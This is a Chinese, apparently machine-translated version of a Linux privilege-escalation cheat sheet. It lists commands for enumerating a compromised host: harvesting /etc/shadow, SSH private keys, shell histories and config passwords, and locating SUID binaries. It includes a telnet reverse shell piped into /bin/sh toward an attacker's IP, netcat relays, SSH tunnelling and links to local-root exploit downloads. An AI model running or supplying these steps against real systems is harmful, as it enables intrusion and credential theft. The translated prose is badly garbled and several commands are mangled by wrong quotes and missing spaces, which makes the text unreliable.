在本篇文章逐渐以前，我想指出我不是专家。根据我所知道，在这个巨大的地区,没有一个“奇妙”的回答.共享，共享资源(我的立足点)。下边是一个混和的指令做一样的事儿，在不一样的地区，或仅仅一个不一样的目光来对待事情。我明白有越多的“物品”寻找。这只不过是一个基本上粗略地的手册。并非每一个指令，搞好要精益求精.
原文中的每个人行为一条指令，原文中有的指令很有可能在你的服务器上敲不出来，因为它很有可能是在别的版本号的linux中常应用的指令。
例举关键环节
(Linux)的漏洞利用是怎么一回事儿：
搜集 – 枚举类型，枚举和一些大量的枚举类型。
全过程 – 根据数据信息排列，剖析和明确优先选择顺序。
检索 – 了解搜索什么和在哪儿可以寻找系统漏洞编码。
融入 – 自定的系统漏洞，因此它合适。每一个操作系统的工作并非每一个系统漏洞“都固定不动不会改变”。
试着 – 做好充分的准备,实验和不正确。
实际操作种类
实际操作种类是啥版本号?
cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release它的内核版本是啥?
cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz它的系统变量里一些哪些?
cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set是不是有台复印机?
lpstat -a运用与服务项目
已经运作哪些服务项目?怎样的服务项目具备哪些用户权限?
ps aux ps -ef top cat /etc/service什么服务项目具备root的管理权限?这种服务项目里你看起来这些有系统漏洞,开展再度查验!
ps aux | grep root ps -ef | grep root安裝了什么应用软件?她们是啥版本号?什么是现阶段已经运作的?
ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/Service设定，有所有的不正确配备吗?是不是有一切(敏感的)的软件?
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/服务器上有什么工作方案?
crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root服务器上很有可能有什么纯文字账户密码?
grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla通讯与互联网
NIC(s)，系统软件有什么?它是联接到哪一个互联网?
/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network网络配置设定是啥?互联网中有怎样的网络服务器?DHCP服务器?DNS服务器?网关ip?
cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname别的用户服务器与系统软件的通讯?
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w缓存文件?IP和/或MAC地址?
arp -e route /sbin/route -nee数据很有可能网络嗅探吗?可以看得出哪些?监视总流量
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21你怎样get一个shell?你如何与系统软件实现互动?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ nc -lvp 4444 # Attacker. 键入 (指令) nc -lvp 4445 # Attacker. 輸出(結果) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在总体目标体系上. 应用 网络攻击的IP!怎样端口映射?(端口号跳转)
# rinetd # http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch # fpipe # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 #ssh # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port #mknod # mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)创建隧道施工很有可能吗?当地，远程控制推送指令
ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig密秘信息内容和客户
你是谁呀?哪个id登陆?谁早已登陆?谁会在这儿?谁可以做什么呢?
id who w last cat /etc/passwd | cut -d: # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l可以寻找哪些比较敏感文档?
cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/什么有趣的资料在home/directorie(S)里?如果有管理权限浏览
ls -ahlR /root/ ls -ahlR /home/是不是有一切登陆密码，脚本制作，数据库查询，环境变量或日志文档?登陆密码默认设置途径和部位
cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg客户做了哪些?是不是有一切登陆密码呢?她们是否有编写哪些?
cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history可以寻找怎样的用户信息
cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/rootprivate-key 信息能不能被发觉?
cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key文件系统
什么用户可以写配置文件在/ etc /?可以重新配置服务项目?
ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone在/ var /有什么可以发觉?
ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases网址上的一切掩藏配备/文档?配置文件与数据库查询信息?
ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/有哪些在日志文档里?(哪些可以协助到“本地文件包括”?)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/ cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ # auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有哪些文档?log.系统引导……)假如指令限定，你能搞出什么提升它的限定?
python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i如何安装文件系统?
mount df -h是不是有初始化的文件系统?
cat /etc/fstab什么叫高級Linux文件权限应用?Sticky bits, SUID 和GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied) find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null在什么文件目录可以载入和实行呢?好多个“一同”的文件目录：/ tmp目录，/var / tmp文件目录/ dev /shm目录
find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / ( -perm -o w -perm -o x ) -type d 2>/dev/null # world-writeable & executable foldersAny "problem" files?可读的的，“沒有应用"的文档
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files提前准备和搜索漏洞检测编码
安裝了哪些开发环境/语言表达/适用?
find / -name perl* find / -name python* find / -name gcc* find / -name cc怎样文件上传?
find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp搜索exploit编码
http://www.exploit-db.com http://1337day.com http://www.securiteam.com http://www.securityfocus.com http://www.exploitsearch.net http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ http://www.google.com查找大量相关漏洞的信息
http://www.cvedetails.com http://packetstormsecurity.org/files/cve/[CVE] http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE] http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE] http://www.91ri.org/(迅速)“一同的“exploit,预编译二进制代码文档
http://tarantula.by.ru/localroot/ http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/上边的信息难以吗?
快点应用第三方脚本制作/专用工具来试试吧!
系统软件如何打核心，电脑操作系统，全部应用软件，软件和Web服务的全新补丁包?
apt-get update && apt-get upgrade yum update服务项目运作所需要的最少的管理权限?
例如，你需要以root真实身份运作MySQL?
可以从下列网址寻找自启动的脚本制作?!
http://pentestmonkey.net/tools/unix-privesc-check/ http://labs.portcullis.co.uk/application/enum4linux/ http://bastille-linux.sourceforge.net(迅速)手册和连接
例如
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm
别的
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html